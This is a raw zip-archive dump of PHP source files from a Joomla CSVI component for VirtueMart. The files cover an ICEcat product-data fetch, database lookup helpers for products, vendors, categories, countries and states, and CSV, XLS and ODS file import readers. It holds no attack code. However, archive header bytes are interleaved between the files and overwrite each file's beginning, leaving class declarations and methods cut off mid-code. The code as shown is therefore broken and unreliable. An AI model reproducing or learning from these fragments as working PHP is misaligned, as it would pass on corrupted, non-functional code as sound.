http://data.icecat.biz/export/level4/[code]/[product_id].xml, where [code] stands e.g. for NL, EN, FR, DE, IT, ES, DK, etc. For * * Products need to be matched to a product file found at http://data.icecat.biz/export/freexml/EN/ * * an index file with references to all product data-sheets in ICEcat or Open ICEcat, also historical/obsolete products * files.index.csv|xml or files.index.csv.gz|xml.gz * a smaller index file with only references to the new or changed product data-sheets of the respective day * daily.index.csv|xml or daily.index.csv.gz|xml.gz * an index file with only the products that are currently on the market, as far as we can see that based on 100s of distributor and reseller price files * on_market.index.csv|xml or on_market.index.csv.gz|xml.gz) * an index file with the products that are or were on the market for which we only have basic market data, but no complete data-sheet * nobody.index.csv|xml or nobody.index.csv.gz|xml.gz * * @copyright * @author RolandD * @todo Check for gzip functionality to reduce filesize * @see * @access private * @param string $icecat_id the ICEcat ID to retrieve * @return * @since 3.0 */ private function _callIcecat($icecat_id) { $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); $csvilog = $jinput->get('csvilog', null, null); $settings = new CsviSettings(); // Construct the URL $url = ($settings->get('icecat.ice_advanced')) ? 'http://data.icecat.biz/export/level4/' : 'http://data.icecat.biz/export/freexml.int/'; // The language to use $url .= $settings->get('icecat.ice_lang').'/'; // The ID to retrieve $url .= $icecat_id.'.xml'; $csvilog->addDebug(JText::sprintf('COM_CSVI_CALL_ICECAT_URL', $url)); // Initialise the curl call $curl = curl_init(); // set URL and other appropriate options curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); curl_setopt($curl, CURLOPT_USERPWD, $settings->get('icecat.ice_username').":".$settings->get('icecat.ice_password')); // grab URL and pass it to the browser $this->_data = curl_exec($curl); // close cURL resource, and free up system resources curl_close($curl); } /** * Supported ICEcat languages * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function supportdLanguages() { $codes = array(); $codes[] = 'INT'; // - International standardized version of a data-sheet. When QUALITY = ICEcat language independent values. $codes[] = 'EN'; // Standard or UK English $codes[] = 'US'; // US English $codes[] = 'NL'; // Dutch $codes[] = 'FR'; // French $codes[] = 'DE'; // German $codes[] = 'IT'; // Italian $codes[] = 'ES'; // Spanish $codes[] = 'DK'; // Danish $codes[] = 'RU'; // Russian $codes[] = 'PT'; // Portuguese $codes[] = 'ZH'; // Chinese (simplified) $codes[] = 'SE'; // Swedish $codes[] = 'PL'; // Polish $codes[] = 'CZ'; // Czech $codes[] = 'HU'; // Hungarian $codes[] = 'FI'; // Finnish $codes[] = 'NO'; // Norwegian $codes[] = 'TR'; // Turkish $codes[] = 'BG'; // Bulgarian $codes[] = 'KA'; // Georgian $codes[] = 'RO'; // Romanian $codes[] = 'SR'; // Serbian $codes[] = 'JA'; // Japanese $codes[] = 'UK'; // Ukrainian $codes[] = 'CA'; // Catalan $codes[] = 'HR'; // Croatian return $codes; } } ?> PK@y>\ӧ<`<`.components/com_csvi/helpers/com_virtuemart.phpnuW+Ainput; $this->_csvidata = $jinput->get('csvi_data', null, null); } /** * Get the product id, this is necessary for updating existing products * * @copyright * @author RolandD * @todo Reduce number of calls to this function * @see * @access protected * @param * @return integer product_id is returned * @since 3.0 */ public function getProductId() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDBO(); $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); $update_based_on = $template->get('update_based_on', 'product', 'product_sku'); switch ($update_based_on) { case 'product_sku': $product_id = $this->_csvidata->get('product_id'); if ($product_id) { return $product_id; } else { $product_sku = $this->_csvidata->get('product_sku'); if ($product_sku) { $query = $db->getQuery(true); $query->select('virtuemart_product_id'); $query->from('#__virtuemart_products'); $query->where('product_sku = '.$db->Quote($product_sku)); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_FIND_PRODUCT_SKU'), true); return $db->loadResult(); } else return false; } break; case 'product_mpn': $mpn_column = $template->get('mpn_column_name', 'product', false); $product_mpn = $this->_csvidata->get($mpn_column); if ($product_mpn) { $query = $db->getQuery(true); $query->select('virtuemart_product_id'); $query->from('#__virtuemart_products'); $query->where($db->quoteName($mpn_column)." = ".$db->Quote($product_mpn)); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_FIND_PRODUCT_MPN'), true); return $db->loadResult(); } else return false; break; case 'product_child_sku': $product_sku = $this->_csvidata->get('product_sku'); $product_parent_sku = $this->_csvidata->get('product_parent_sku'); if ($product_sku && $product_parent_sku) { // Load the product parent ID $query = $db->getQuery(true); $query->select('virtuemart_product_id'); $query->from('#__virtuemart_products'); $query->where('product_sku = '.$db->Quote($product_parent_sku)); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_FIND_PRODUCT_CHILD_PARENT_SKU'), true); $product_parent_id = $db->loadResult(); // Load the product ID of the child $query = $db->getQuery(true); $query->select('virtuemart_product_id'); $query->from('#__virtuemart_products'); $query->where('product_sku = '.$db->Quote($product_sku)); $query->where('product_parent_id = '.$product_parent_id); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_FIND_PRODUCT_CHILD_SKU'), true); return $db->loadResult(); } else if ($product_sku) { $query = $db->getQuery(true); $query->select('virtuemart_product_id'); $query->from('#__virtuemart_products'); $query->where('product_sku = '.$db->Quote($product_sku)); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_FIND_PRODUCT_SKU_BASED_CHILD'), true); return $db->loadResult(); } else { $csvilog->addDebug(JText::_('COM_CSVI_NO_CHILD_NO_PARENT')); return false; } break; default: return false; break; } } /** * Determine vendor ID * * Determine for which vendor we are importing product details. * * The default vendor is the one with the lowest vendor_id value * * @copyright * @author RolandD * @todo Add full vendor support when VirtueMart supports it * @see * @access protected * @param * @return integer the vendor database ID * @since 3.0 */ public function getVendorId() { if (!$this->_vendor_id) { $jinput = JFactory::getApplication()->input; $db = JFactory::getDbo(); $csvilog = $jinput->get('csvilog', null, null); // Get some values $vendor_id = $this->_csvidata->get('virtuemart_vendor_id'); $product_sku = $this->_csvidata->get('product_sku', false); // User is uploading vendor_id if ($vendor_id) return $vendor_id; // User is not uploading vendor_id // First get the vendor with the lowest ID $query = $db->getQuery(true); $query->select('MIN(virtuemart_vendor_id) AS vendor_id'); $query->from('#__virtuemart_vendors'); $db->setQuery($query); $min_vendor_id = $db->loadResult(); if ($min_vendor_id) { if ($product_sku) { $query = $db->getQuery(true); $query->select('IF (COUNT(virtuemart_vendor_id) = 0, '.$min_vendor_id.', virtuemart_vendor_id) AS vendor_id'); $query->from('#__virtuemart_products'); $query->where('product_sku = '.$db->Quote($product_sku)); $db->setQuery($query); // Existing vendor_id $vendor_id = $db->loadResult(); $csvilog->addDebug(JText::_('COM_CSVI_CHECK_VENDOR_EXISTS'), true); $this->_vendor_id = $vendor_id; return $vendor_id; } // No product_sku uploaded else { $this->_vendor_id = $min_vendor_id; return $min_vendor_id; } } else { // No vendor found, so lets default to 1 $this->_vendor_id = 1; } } return $this->_vendor_id; } /** * Get the shopper group id * * Only get the shopper group id when the shopper_group_name is set * * @copyright * @author RolandD * @todo * @see * @access protected * @param string $shopper_group_name the name of the shopper group to find * @return integer the database ID of the shopper group * @since 3.0 */ public function getShopperGroupId($shopper_group_name) { $jinput = JFactory::getApplication()->input; $db = JFactory::getDbo(); $query = $db->getQuery(true); $csvilog = $jinput->get('csvilog', null, null); $query->select('virtuemart_shoppergroup_id'); $query->from('#__virtuemart_shoppergroups'); $query->where('shopper_group_name = '.$db->q($shopper_group_name)); $db->setQuery($query); $shopper_group_id = $db->loadResult(); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_SHOPPER_GROUP_NAME'), true); return $shopper_group_id; } /** * Get the currency ID of the specified vendor * * @copyright * @author RolandD * @todo * @see * @access public * @param int $vendor_id the ID of the vendor * @return * @since 4.0 */ public function getVendorCurrency($vendor_id) { $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select($db->quoteName('vendor_currency')); $query->from($db->quoteName('#__virtuemart_vendors')); $query->where($db->quoteName('vendor_currency').' = '.$db->quote($vendor_id)); $db->setQuery($query); return $db->loadResult(); } /** * Gets the default Shopper Group ID * * @copyright * @author RolandD * @todo add error checking * @see * @access protected * @param * @return integer the database shopper ID * @since 4.0 */ public function getDefaultShopperGroupID() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $vendor_id = $this->getVendorId(); $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('virtuemart_shoppergroup_id'); $query->from('#__virtuemart_shoppergroups'); $query->where($db->quoteName('default').' = 1'); $query->where($db->quoteName('virtuemart_vendor_id').' = '.$vendor_id); $db->setQuery($query); $default = $db->loadResult(); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_GET_DEFAULT_SHOPPER_GROUP'), true); return $default; } /** * Create a slug * * @copyright * @author RolandD * @todo * @see * @access public * @param string $name the string to turn into a slug * @return string the slug for the product * @since 4.0 */ public function createSlug($name) { $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); // Transliterate $lang = new JLanguage($template->get('language', 'general', '', null, 0, false)); $str = $lang->transliterate($name); // Trim white spaces at beginning and end of alias and make lowercase $str = trim(JString::strtolower($str)); // Remove any duplicate whitespace, and ensure all characters are alphanumeric $str = preg_replace('/(\s|[^A-Za-z0-9\-])+/', '-', $str); // Trim dashes at beginning and end of alias $str = trim($str, '-'); // If we are left with an empty string, make a date with random number if (trim(str_replace('-', '', $str)) == '') { $jdate = JFactory::getDate(); $str = $jdate->format("Y-m-d-h-i-s").mt_rand(); } return $str; } /** * Get the custom related field ID * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function getRelatedId() { if (!$this->_related_id) { $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('virtuemart_custom_id'); $query->from('#__virtuemart_customs'); $query->where('virtuemart_vendor_id = '.$this->getVendorId()); $query->where('field_type = '.$db->Quote('R')); $db->setQuery($query); $this->_related_id = $db->loadResult(); } return $this->_related_id; } /** * Load the order status code * * @copyright * @author RolandD * @todo * @see * @access public * @param string $order_status_name the name of the order status * @return string the order status code * @since 2.3.11 */ public function getOrderStatus($order_status_name) { $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('order_status_code'); $query->from('#__virtuemart_orderstates'); $query->where('order_status_name = '.$db->Quote($order_status_name)); $db->setQuery($query); return $db->loadResult(); } /** * Get the currency ID * * @copyright * @author RolandD * @todo * @see * @access public * @param string $currency_name the name of the currency * @param int $vendor_id the ID of the vendor * @return * @since 4.0 */ public function getCurrencyId($currency_name, $vendor_id) { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('virtuemart_currency_id'); $query->from('#__virtuemart_currencies'); $query->where('currency_code_3 = '.$db->Quote($currency_name)); $query->where('virtuemart_vendor_id = '.$vendor_id); $db->setQuery($query); $currency_id = $db->loadResult(); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_GET_CURRENCY_ID'), true); return $currency_id; } /** * Get the country ID * * @copyright * @author RolandD * @todo * @see * @access public * @param string $country_name the name of the country * @param string $country_2_code the 2 letter notification * @param string $country_3_code the 3 letter notification * @return * @since 4.0 */ public function getCountryId($country_name=null, $country_2_code=null, $country_3_code=null) { $country_id = null; if (isset($country_name) || isset($country_2_code) || isset($country_3_code)) { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('virtuemart_country_id'); $query->from('#__virtuemart_countries'); if (isset($country_name)) $query->where('country_name = '.$db->Quote($country_name)); else if (isset($country_2_code)) $query->where('country_2_code = '.$db->Quote($country_2_code)); else if (isset($country_3_code)) $query->where('country_3_code = '.$db->Quote($country_3_code)); $db->setQuery($query); $country_id = $db->loadResult(); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_GET_COUNTRY_ID'), true); } return $country_id; } /** * Get the state ID * * @copyright * @author RolandD * @todo * @see * @access public * @param string $state_name the name of the state * @param string $state_2_code the 2 letter notification * @param string $state_3_code the 3 letter notification * @return * @since 4.0 */ public function getStateId($state_name=null, $state_2_code=null, $state_3_code=null) { $state_id = null; if (isset($state_name) || isset($state_2_code) || isset($state_3_code)) { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('virtuemart_state_id'); $query->from('#__virtuemart_states'); if (isset($state_name)) $query->where('state_name = '.$db->Quote($state_name)); else if (isset($state_2_code)) $query->where('state_2_code = '.$db->Quote($state_2_code)); else if (isset($state_3_code)) $query->where('state_3_code = '.$db->Quote($state_3_code)); $db->setQuery($query); $state_id = $db->loadResult(); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_GET_STATE_ID'), true); } return $state_id; } /** * Get category list * * @copyright * @author RolandD * @todo * @see * @access public * @param string $language the language code for the category names * @return * @since 4.0 */ public function getCategoryTree($language) { // Clean up the language if needed $language = strtolower(str_replace('-', '_', $language)); $db = JFactory::getDbo(); $query = $db->getQuery(true); // 1. Get all categories $query->select('x.category_parent_id AS parent_id, x.category_child_id AS id, l.category_name AS catname'); $query->from('#__virtuemart_categories c'); $query->leftJoin('#__virtuemart_category_categories x ON c.virtuemart_category_id = x.category_child_id'); $query->leftJoin('#__virtuemart_categories_'.$language.' l ON l.virtuemart_category_id = c.virtuemart_category_id'); $db->setQuery($query); $rawcats = $db->loadObjectList(); if (!empty($rawcats)) { // 2. Group categories based on their parent_id $categories = array(); foreach ($rawcats as $key => $rawcat) { $categories[$rawcat->parent_id][$rawcat->id]['pid'] = $rawcat->parent_id; $categories[$rawcat->parent_id][$rawcat->id]['cid'] = $rawcat->id; $categories[$rawcat->parent_id][$rawcat->id]['catname'] = $rawcat->catname; } if (count($rawcats) > 10) $categorysize = 10; else $categorysize = count($rawcats)+1; } $this->_options = array(); // Add a don't use option $this->_options[] = JHtml::_('select.option', '', JText::_('COM_CSVI_EXPORT_DONT_USE')); if (isset($categories)) { if (count($categories) > 0) { // Take the toplevels first foreach ($categories[0] as $key => $category) { $this->_options[] = JHtml::_('select.option', $category['cid'], $category['catname']); // Write the subcategories $suboptions = $this->buildCategory($categories, $category['cid'], array()); } } } return $this->_options; } /** * Create the subcategory layout * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return array select options for the category tree * @since 3.0 */ private function buildCategory($cattree, $catfilter, $subcats, $loop=1) { if (isset($cattree[$catfilter])) { foreach ($cattree[$catfilter] as $subcatid => $category) { $this->_options[] = JHtml::_('select.option', $category['cid'], str_repeat('>', $loop).' '.$category['catname']); $subcats = $this->buildCategory($cattree, $subcatid, $subcats, $loop+1); } } } /** * Construct the category path * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 4.0 */ private function constructCategoryPath($catids) { $catpaths = array(); if (is_array($catids)) { $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); $csvilog = $jinput->get('csvilog', null, null); $db = JFactory::getDbo(); // Load the category separator if (is_null($this->_catsep)) { $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); $this->_catsep = $template->get('category_separator', 'general', '/'); } // Get the paths foreach ($catids as $category_id) { // Create the path $paths = array(); while ($category_id > 0) { $query = $db->getQuery(true); $query->select('category_parent_id, l.category_name'); $query->from('#__virtuemart_category_categories x'); $query->leftJoin('#__virtuemart_categories c ON x.category_child_id = c.virtuemart_category_id'); $query->leftJoin('#__virtuemart_categories_'.$template->get('language', 'general').' l ON x.category_child_id = l.virtuemart_category_id'); $query->where('category_child_id = '.$category_id); $db->setQuery($query); $path = $db->loadObject(); $csvilog->addDebug('Get cat ID'.$category_id, true); // $catpaths[] = $this->_getJoomFishCategory($category_id, trim($path->category_name)); if (is_object($path)) { $paths[] = $path->category_name; $category_id = $path->category_parent_id; } else { $csvilog->addDebug('COM_CSVI_CANNOT_GET_CATEGORY_ID'); $csvilog->AddStats('incorrect', 'COM_CSVI_CANNOT_GET_CATEGORY_ID'); return ''; } } // Create the path $paths = array_reverse($paths); $catpaths[] = implode($this->_catsep, $paths); } } return $catpaths; } /** * Creates the category path based on a category ID * * @copyright * @author RolandD * @todo * @see * @access protected * @param int $category_id the ID to create the category path from * @return string the category path * @since 3.0 */ public function createCategoryPath($product_id, $id=false) { $db = JFactory::getDbo(); // Get the category paths $query = $db->getQuery(true); $query->select($db->quoteName('virtuemart_category_id')); $query->from($db->quoteName('#__virtuemart_product_categories')); $query->where($db->quoteName('virtuemart_product_id').' = '.$db->quote($product_id)); $db->setQuery($query); $catids = $db->loadColumn(); if (!empty($catids)) { // Return the paths if ($id) { $result = $db->loadResultArray(); if (is_array($result)) return implode('|', $result); else return null; } else { $catpaths = $this->constructCategoryPath($catids); if (is_array($catpaths)) return implode('|', $catpaths); else return null; } } else return null; } /** * Create a category path based on ID * * @copyright * @author RolandD * @todo * @see * @access public * @param $catids array list of IDs to generate category path for * @return * @since 4.0 */ public function createCategoryPathById($catids) { if (!is_array($catids)) $catids = (array)$catids; $paths = $this->constructCategoryPath($catids); if (is_array($paths)) return implode('|', $paths); else return ''; } /** * Get the category ID for a product * * @copyright * @author RolandD * @todo * @see * @access protected * @param int $product_id the product ID to get the category for * @return int the category ID the product is linked to limited to 1 * @since 3.0 */ public function getCategoryId($product_id) { $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('virtuemart_category_id'); $query->from('#__virtuemart_product_categories'); $query->where('virtuemart_product_id = '.$product_id); $db->setQuery($query, 0, 1); return $db->loadResult(); } /** * Determine the shipping cost * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.5 */ public function shippingCost($product_price) { $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); $prices = $template->get('shopper_shipping_export_fields', '', array()); $fee = null; if (!empty($prices)) { foreach ($prices['_price_from'] as $kfrom => $price_from) { // Check if we have an end price $price_from = str_replace(',', '.', $price_from); $price_to = str_replace(',', '.', $prices['_price_to'][$kfrom]); if (!empty($price_to)) { if ($product_price >= $price_from && $product_price < $price_to) { $fee = $kfrom; break; } } else { if ($product_price >= $price_from) { $fee = $kfrom; break; } } } } if (!is_null($fee)) return $prices['_fee'][$fee]; else return false; } /** * Get the list of order users * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return array of objects * @since 4.0 */ public function getOrderUser() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDbo(); $query = $db->getQuery(true); $filter = $jinput->get('filter'); $q = "SELECT DISTINCT virtuemart_user_id AS user_id, IF (LENGTH(TRIM(CONCAT(first_name, ' ', middle_name, ' ', last_name))) = 0, '".JText::_('COM_CSVI_EXPORT_ORDER_USER_EMPTY')."', IF (TRIM(CONCAT(first_name, ' ', middle_name, ' ', last_name)) is NULL, '".JText::_('COM_CSVI_EXPORT_ORDER_USER_EMPTY')."', CONCAT(first_name, ' ', middle_name, ' ', last_name))) AS user_name FROM #__virtuemart_order_userinfos WHERE (first_name LIKE ".$db->Quote('%'.$filter.'%')." OR middle_name LIKE ".$db->Quote('%'.$filter.'%')." OR last_name LIKE ".$db->Quote('%'.$filter.'%').") ORDER BY user_name LIMIT 10;"; $db->setQuery($q); return $db->loadObjectList(); } /** * Get the list of order products * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return array of objects * @since 4.0 */ public function getOrderProduct() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDbo(); $query = $db->getQuery(true); $filter = $jinput->get('filter'); $q = "SELECT DISTINCT order_item_sku AS product_sku, order_item_name AS product_name FROM #__virtuemart_order_items o WHERE (order_item_sku LIKE ".$db->Quote('%'.$filter.'%')." OR order_item_name LIKE ".$db->Quote('%'.$filter.'%').") ORDER BY order_item_name LIMIT 10;"; $db->setQuery($q); return $db->loadObjectList(); } /** * Get the list of order item products * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return array of objects * @since 4.0 */ public function getOrderItemProduct() { $db = JFactory::getDBO(); $filter = JRequest::getVar('filter'); $q = "SELECT DISTINCT order_item_sku AS product_sku, order_item_name AS product_name FROM #__virtuemart_order_items o WHERE (o.order_item_sku LIKE ".$db->Quote('%'.$filter.'%')." OR o.order_item_name LIKE ".$db->Quote('%'.$filter.'%').") ORDER BY order_item_name LIMIT 10;"; $db->setQuery($q); return $db->loadObjectList(); } } ?>PK@y>\Ai$$/components/com_csvi/helpers/file/import/csv.phpnuW+Ainput; // Column headers are always the first line of the file // 1. Store current position $curpos = $this->getFilePos(); if ($curpos > 0) { // 2. Go to the beginning of the file $this->setFilePos(0); } // 3. Read the line $jinput->set('columnheaders', $this->ReadNextLine()); if ($curpos > 0) { // 4. Set the position back $this->setFilePos($curpos); } $this->linepointer++; return true; } /** * Get the file position * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return int current position in the file * @since 3.0 */ public function getFilePos() { return ftell($this->fp); } /** * Set the file position * * @copyright * @author RolandD * @todo * @see * @access public * @param int $pos the position to move to * @return int 0 if success | -1 if not success * @since 3.0 */ public function setFilePos($pos) { return fseek($this->fp, $pos); } /** * Close the file * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function closeFile($removefolder=true) { fclose($this->fp); $this->_closed = true; parent::closeFile($removefolder); } /** * Read the next line in the file * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return array with the line of data read | false if data cannot be read * @since 3.0 */ public function readNextLine() { // Check if the file is still open if ($this->_closed) return; // Make sure we have delimiters if (is_null($this->_field_delimiter)) return false; // Load some settings $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); $csvilog = $jinput->get('csvilog', null, null); $newdata = array(); // Ignore empty records $csvdata = array(0=>''); while (is_array($csvdata) && count($csvdata)==1 && $csvdata[0]=='') { if (!is_null($this->_text_enclosure)) $csvdata = fgetcsv($this->fp, 0, $this->_field_delimiter, $this->_text_enclosure); else $csvdata = fgetcsv($this->fp, 0, $this->_field_delimiter); } // Check if we can read the line correctly if (count($csvdata) == 1 && !$this->_checked_delimiter) { $current_field = $this->_field_delimiter; $current_text = $this->_text_enclosure; $this->_findDelimiters(true); if ($template->show_preview) { if ($current_field != $this->_field_delimiter) JError::raiseNotice(0, JText::sprintf('COM_CSVI_UNEQUAL_FIELD_DELIMITER', $current_field, $this->_field_delimiter)); if ($current_text != $this->_text_enclosure) JError::raiseNotice(0, JText::sprintf('COM_CSVI_UNEQUAL_TEXT_ENCLOSURE', $current_text, $this->_text_enclosure)); } else { if ($current_field != $this->_field_delimiter) $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_UNEQUAL_FIELD_DELIMITER', $current_field, $this->_field_delimiter)); if ($current_text != $this->_text_enclosure) $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_UNEQUAL_FIELD_DELIMITER', $current_field, $this->_field_delimiter)); } $this->_field_delimiter = $current_field; $this->_text_enclosure = $current_text; } if ($csvdata) { // Do BOM check if ($jinput->get('currentline', 0, 'int') == 1 || is_null($jinput->get('currentline', null, null))) { // Remove text delimiters as they are not recognized by fgetcsv $csvdata[0] = $this->_removeTextDelimiters($this->_checkBom($csvdata[0])); } $this->linepointer++; return $csvdata; } else return false; } /** * Process the file to import * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function processFile() { // Open the csv file $this->fp = fopen($this->filename, "r"); $this->_closed = false; // Load the delimiters $this->_findDelimiters(); return true; } /** * Find the delimiters used * * @copyright * @author RolandD * @todo * @see * @access private * @param bool $force Force to read the delimiters from the imported file * @return bool true if delimiters found | false if delimiters not found * @since 3.0 */ private function _findDelimiters($force=false) { $jinput = JFactory::getApplication()->input; if (!$this->_checked_delimiter) { $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); if (!$template->get('auto_detect_delimiters', 'general', true) && !$force) { // Set the field delimiter if (strtolower($template->get('field_delimiter', 'general')) == 't') $this->_field_delimiter = "\t"; else $this->_field_delimiter = $template->get('field_delimiter', 'general'); // Set the text enclosure $this->_text_enclosure = ($template->get('text_enclosure', 'general', '')) ? $template->get('text_enclosure', 'general') : null; } else { // Read the first line rewind($this->fp); $line = fgets($this->fp); // 1. Is the user using text enclosures $first_char = substr($line, 0, 1); $pattern = '/[a-zA-Z0-9_]/'; $matches = array(); preg_match($pattern, $first_char, $matches); if (count($matches) == 0) { // User is using text delimiter $this->_text_enclosure = $first_char; $csvilog->addDebug(JText::sprintf('COM_CSVI_FOUND_TEXT_ENCLOSURE', $first_char)); // 2. What field delimiter is being used $match_next_char = strpos($line, $this->_text_enclosure, 1); $second_char = substr($line, $match_next_char+1, 1); if ($first_char == $second_char) { $jinput->set('error_found', true); JError::raiseWarning(0, JText::_('COM_CSVI_CANNOT_FIND_TEXT_DELIMITER')); return false; } else { $this->_field_delimiter = $second_char; } } else { $totalchars = strlen($line); // 2. What field delimiter is being used for ($i = 0;$i <= $totalchars; $i++) { $current_char = substr($line, $i, 1); preg_match($pattern, $current_char, $matches); if (count($matches) == 0) { $this->_field_delimiter = $current_char; $i = $totalchars; } } } $csvilog->addDebug(JText::sprintf('COM_CSVI_FOUND_FIELD_DELIMITER', $this->_field_delimiter)); rewind($this->fp); } $this->_checked_delimiter = true; } return true; } /** * Checks if the uploaded file has a BOM * * If the uploaded file has a BOM, remove it since it only causes * problems on import. * * @copyright * @author RolandD * @todo * @see ReadNextLine() * @access private * @param string $data the string to check for a BOM * @return string return the cleaned string * @since 3.0 */ private function _checkBom($data) { // Check the first three characters if (strlen($data) > 3) { if (ord($data{0}) == 239 && ord($data{1}) == 187 && ord($data{2}) == 191) { return substr($data, 3, strlen($data)); } else return $data; } else return $data; } /** * Removes the text delimiters when fgetcsv() has failed to do so because the file contains a BOM. * This allows for the possibility that the data value contains embedded text enclosure characters * (which should be doubled up for correct csv file format). * The string [32" TV] (ignore brackets) should be encoded as ["32"" TV"] * This function correctly decodes ["32"" TV"] back to [32" TV] * * @copyright * @author doorknob * @todo * @see * @access private * @param string $data the string to clean * @return string the cleaned string * @since */ private function _removeTextDelimiters($data) { if( substr($data, 0, 1) == $this->_text_enclosure && substr($data, -1, 1) == $this->_text_enclosure ) { return str_replace($this->_text_enclosure.$this->_text_enclosure, $this->_text_enclosure, substr($data, 1, -1)); } else { return $data; } } /** * Sets the file pointer back to beginning * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function rewind() { $this->setFilePos(0); } } ?> PK@y>\ /components/com_csvi/helpers/file/import/xls.phpnuW+Adata[0]['numRows']; } /** * Load the column headers from a file * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return bool true * @since 3.0 */ public function loadColumnHeaders() { $jinput = JFactory::getApplication()->input; // Make sure we include the empty fields for ($i=1; $i<=$this->data[0]['numCols']; $i++) { if (!isset($this->data[0]['cells'][1])) $this->data[0]['cells'][1][$i] = ''; } $headers = array_values($this->data[0]['cells'][1]); $jinput->set('columnheaders', $headers); $this->linepointer++; return true; } /** * Get the file position * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return int current position in the file * @since 3.0 */ public function getFilePos() { return $this->linepointer; } /** * Set the file position * * @copyright * @author RolandD * @todo * @see * @access public * @param int $pos the position to move to * @return int current position in the file * @since 3.0 */ public function setFilePos($pos) { $this->linepointer = $pos; return $this->linepointer; } /** * Read the next line in the file * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return array with the line of data read | false if data cannot be read * @since 3.0 */ public function readNextLine() { if ($this->data[0]['numRows'] >= $this->linepointer) { $newdata = array(); // Make sure we include the empty fields for ($i=1; $i <= $this->data[0]['numCols']; $i++) { if (!isset($this->data[0]['cells'][$this->linepointer][$i])) $newdata[] = ''; else $newdata[] = $this->data[0]['cells'][$this->linepointer][$i]; } $this->linepointer++; return $newdata; } else return false; } /** * Process the file to import * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function processFile() { $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); $this->fp = true; $this->data = new Spreadsheet_Excel_Reader($this->filename, false); $this->data = $this->data->sheets; return true; } /** * Sets the file pointer back to beginning * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function rewind() { $this->setFilePos(1); } } ?> PK@y>\҂/components/com_csvi/helpers/file/import/ods.phpnuW+Adata->rows; } /** * Load the column headers from a file * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return bool true * @since 3.0 */ public function loadColumnHeaders() { $jinput = JFactory::getApplication()->input; $jinput->set('columnheaders', $this->data->_data[1]); $this->linepointer++; return true; } /** * Get the file position * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return int current position in the file * @since 3.0 */ public function getFilePos() { return $this->linepointer; } /** * Set the file position * * @copyright * @author RolandD * @todo * @see * @access public * @param int $pos the position to move to * @return int current position in the file * @since 3.0 */ public function setFilePos($pos) { $this->linepointer = $pos; return $this->linepointer; } /** * Read the next line in the file * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return array with the line of data read | false if data cannot be read * @since 3.0 */ public function readNextLine() { if ($this->data->rows >= $this->linepointer) { $newdata = array(); $newdata = $this->data->_data[$this->linepointer]; $this->linepointer++; return $newdata; } else return false; } /** * Process the file to import * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function processFile() { if (!$this->_unpacked) { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); jimport('joomla.filesystem.file'); jimport('joomla.filesystem.archive'); $this->fp = true; $this->linepointer = 1; $this->data = new ODSParser(); // First we need to unpack the zipfile $unpackfile = $this->_unpackpath.'/ods/'.basename($this->filename).'.zip'; $importfile = $this->_unpackpath.'/ods/content.xml'; // Check the unpack folder 